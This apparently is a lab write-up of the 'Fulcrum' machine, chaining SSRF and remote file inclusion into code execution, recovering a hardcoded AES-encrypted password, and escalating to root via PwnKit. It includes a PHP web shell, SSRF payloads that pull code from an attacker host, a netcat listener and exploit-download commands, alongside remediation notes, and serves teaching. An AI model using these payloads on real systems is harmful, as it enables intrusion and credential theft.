Fulcrum
Summary
Target Fulcrum ($TARGET) exposed a custom 'Under Maintenance' PHP application on port 4 whose ?page= file-inclusion parameter accepted remote URLs but restricted execution to callers originating from localhost. A companion XML API on port 56423 (Fulcrum-API Beta) made outbound HTTP requests to any URL embedded in its Heartbeat element — a server-side request forgery (SSRF) vulnerability.
Chaining the two flaws, the SSRF drove the server to call back into itself on localhost, satisfying the IP restriction; the port-4 app then fetched and executed an me-hosted PHP shell, granting unauthenticated remote code execution as www-data. Post-exploitation source review of the web root uncovered a PowerShell upload script containing a hardcoded AES-CBC decryption key stored beside the matching ciphertext, protecting the password for local account WebUser; decrypting it offline recovered the plaintext credential [REDACTED: recovered credential] On the same host, the polkit pkexec binary was version 0.105 — the unpatched release vulnerable to CVE-2021-4034 (PwnKit) — and the gcc compiler was present; building and running the public proof-of-concept created a SUID-root shell at /tmp/rootbash and elevated the www-data process to an effective-root session, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"Attack path — how the box was taken
Exact commands 3
nmap -sV -Pn -p 4,22,80,88,9999,56423 $TARGETfor port in 4 80 88 9999 56423; do echo "=== :$port ==="; curl -si http://$TARGET:$port/ 2>&1 | head -25; donecurl -si http://$TARGET:88/phpinfo.phpExact commands 3
curl -s "http://$TARGET:4/index.php?page=http://$ATTACKER_IP:8080/probe"python3 -m http.server 8080curl -s -X POST http://$TARGET:56423/ -H 'Content-Type: text/xml' -d "<Heartbeat><Ping>http://$ATTACKER_IP:8080/ssrf-probe</Ping></Heartbeat>"Exact commands 3
echo '<?php system($_GET["cmd"]); ?>' > /tmp/r.php && python3 -m http.server 8080curl -s -X POST http://$TARGET:56423/ -H 'Content-Type: text/xml' -d "<Heartbeat><Ping>http://127.0.0.1:4/index.php?page=http%3A%2F%2F$ATTACKER_IP%3A8080%2Fr.php%3Fcmd%3Did</Ping></Heartbeat>"nc -lvnp 4444FixEliminate server-side URL fetching from the Fulcrum-API XML endpointCritical
Exact commands 3
grep -RInE 'pass|password|user|key|secret|aes' /var/www 2>/dev/nullcat /var/www/uploads/Fulcrum_Upload_to_Corp.ps1python3 -c 'from Crypto.Cipher import AES; from Crypto.Util.Padding import unpad; import base64; key=bytes([<key_bytes>]); iv=base64.b64decode("<base64_iv>"); ct=base64.b64decode("<base64_ct>"); print(unpad(AES.new(key,AES.MODE_CBC,iv).decrypt(ct),16).decode())'FixRemove hardcoded credentials and encryption keys from scripts stored in the web rootHigh
Exact commands 2
find / -name user.txt -type f 2>/dev/nullcat /var/www/pma/doc/html/_sources/user.txtFixReplace dynamic remote file inclusion with a hard-coded page whitelistCritical
Exact commands 4
ls -la /usr/bin/pkexec && pkexec --version && command -v gcccd /tmp && curl -sO http://$ATTACKER_IP:8080/CVE-2021-4034.tar.gz && tar xf CVE-2021-4034.tar.gz && cd CVE-2021-4034 && make./cve-2021-4034ls -la /tmp/rootbashFixPatch polkit (pkexec) against CVE-2021-4034 and remove compilers from the production serverCritical
Exact commands 2
/tmp/rootbash -pid && cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 4/tcp | http nginx 1.18.0 (Ubuntu) |
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 88/tcp | http nginx 1.18.0 (Ubuntu) |
| 9999/tcp | http nginx 1.18.0 (Ubuntu) |